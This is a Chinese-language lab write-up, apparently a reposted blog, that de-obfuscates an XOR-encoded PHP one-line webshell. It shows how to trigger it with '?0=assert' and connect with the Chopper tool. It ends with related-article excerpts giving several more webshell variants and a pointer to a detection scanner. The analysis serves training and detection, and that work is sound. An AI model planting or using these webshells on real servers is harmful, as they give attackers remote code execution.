WebShell代码分析溯源(四)

一、一句话变形马样本

<?php @$_++;$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");${$__}[!$_](${$___}[$_]); ?>

二、代码分析

1、调整代码格式

  

2、分析代码

“^”为异或运算符,在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串。

$_++,这行代码的意思是对变量名为”_”的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。

2.1手动进行异或运算,依次类推得到$___=_POST

  

2.2$_++在自增之后,$_就变成了1,因此,!$_也就为0,综上分析,${$__}[!$_](${$___}[$_]);也就变成了$_GET[0]($_POST[1]);,此时一句话木马为<?php $_GET[0]($_POST[1]); ?>

2.3构造payload: http://www.test.com/test.php?0=assert,因此一句话木马就变成为<?php  assert($_POST[1]); ?>,然后使用菜刀连接,密码为1

2.4远程代码执行,执行一些命令

  

  

3、通过调试代码进行分析webshell,搭建php环境(这里使用phpstudy)

  

4、调试输出结果如下

  

三、漏洞环境搭建

1、这里使用在线学习平台墨者学院中的实验环境(PHP代码分析溯源(第1题)),地址: https://www.mozhe.cn/bug/detail/UW5xcFhsWE05akxJYjB1TzEyM2p3UT09bW96aGUmozhe

2、代码环境,下载代码

  

3、分析(上面已经分析过了)

4、使用菜刀连接

  

四、后记

学习常用webshell扫描检测查杀工具---WEBDIR+(百度WebShell扫描检测引擎),网址: https://scanner.baidu.com/#/pages/intro

使用WEBDIR+进行webshell查杀

  

  

原文地址:https://www.cnblogs.com/yuzly/p/11745761.html

时间: 2024-10-08 14:04:01

WebShell代码分析溯源(四)的相关文章

WebShell代码分析溯源(二)

一.一句话变形马样本 <?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> 二.代码分析 1.调整代码格式 2.分析代码,首先先把”assert”字符串复制给POST数组,然后又把POST数组array数组,调试代码,搭建php环境(这里使用phpstudy) 3.发现结果输出为assert 4.这样最终一句话变形马就变成这样: <?php assert($_POST['ass

WebShell代码分析溯源(五)

一.一句话变形马样本 <?php $e=$_REQUEST['e'];$arr=array($_POST['POST'],);array_filter($arr,base64_decode($e)); ?> 二.代码分析 1.调整代码格式 2.分析代码 首先使用REQUEST方法接收url中e参数传递的值,然后把$_POST['POST']赋值给arr数组,然后把arr数组中的每个键值传给base64_decode函数,最终构成一句话木马assert($_post['post']) 注: ar

WebShell代码分析溯源(九)

一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e',);array_walk($arr, $e, '');?> 二.代码分析 1.调整代码格式 2.分析代码 1.首先使用REQUEST方法接收url中的e参数的值,创建arr数组,然后array_walk对数组$arr中的每个元素应用用户自定义函数$e 注:,array_walk() 函数对数组中的每个元素应用用户自定义函数.在函数中,数组

WebShell代码分析溯源(十一)

一.一句话变形马样本 <?php $e = $_REQUEST['e'];declare(ticks=1);register_tick_function ($e, $_REQUEST['GET']);?> 二.代码分析 1.调整代码格式 2.分析代码 2.1.首先使用REQUEST方法接收url中e参数传递的值, 然后执行declare函数和register_tick_function回调函数.没执行ticks=1行代码,就执行一次register_tick_function函数中的代码. 注

WebShell代码分析溯源(第2题)

<?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> assert,是php代码执行函数,与eval()有同样的功能,assert()函数中参数为表达式 (或者为函数) 因为$array[], POST[]都是数组,所以$array[]=$POST,就是把$POST数组的值赋给$array数组 这样的话$array[0]['POST']的输出就是assert,所以组成了一句话木马 &

PHP代码分析溯源(第1题)

靶场地址:https://www.mozhe.cn/bug/detail/UW5xcFhsWE05akxJYjB1TzEyM2p3UT09bW96aGUmozhe 靶场显示一段PHP源码,经分析: 1."^"为异或运算符.在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或,异或完,又将结果从二进制转换成了字符串. 2.$++;这行代码的意思是对变量名为""的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,可以在不

Linux时间子系统(十七) ARM generic timer驱动代码分析

一.前言 关注ARM平台上timer driver(clocksource chip driver和clockevent chip driver)的驱动工程师应该会注意到timer硬件的演化过程.在单核时代,各个SOC vendor厂商购买ARM core的IP,然后自己设计SOC上的peripherals,这里面就包括了timer的硬件.由于没有统一的标准,各个厂商的设计各不相同,这给驱动工程师带来了工作量.然而,如果仅仅是工作量的话就还好,实际上,不仅仅如此.linux的时间子系统要求硬件t

1.5 webshell文件上传漏洞分析溯源(1~4)

webshell文件上传漏洞分析溯源(第一题) 我们先来看基础页面: 先上传1.php ---->   ,好吧意料之中 上传1.png  ---->   我们查看页面元素 ----->   ,也没有前端验证 看来只能用burp抓包来改包绕过,我们修改1.php  ---->   1.php .png ,然后上传抓包改包 0x20 -----> 0x00 webshell文件上传漏洞分析溯源(第一题) 我们先来看基础页面: 先上传1.php ---->   ,好吧意料之中

20145234黄斐《网络对抗技术》实验四,恶意代码分析

恶意代码 概述 恶意代码是指故意编制或设置的.对网络或系统会产生威胁或潜在威胁的计算机代码.最常见的恶意代码有计算机病毒(简称病毒).特洛伊木马(简称木马).计算机蠕虫(简称蠕虫).后门.逻辑炸弹等. 特征: 恶意的目的,获取靶机权限.用户隐私等 本身是计算机程序,可以执行,并作用于靶机 通过执行发生作用,一般来说不运行是没问题的 恶意代码分析 在大多数情况下,进行恶意代码分析时,我们将只有恶意代码的可执行文件本身,而这些文件并不是我们人类可读的.为了了解这些文件的意义,你需要使用各种工具和技巧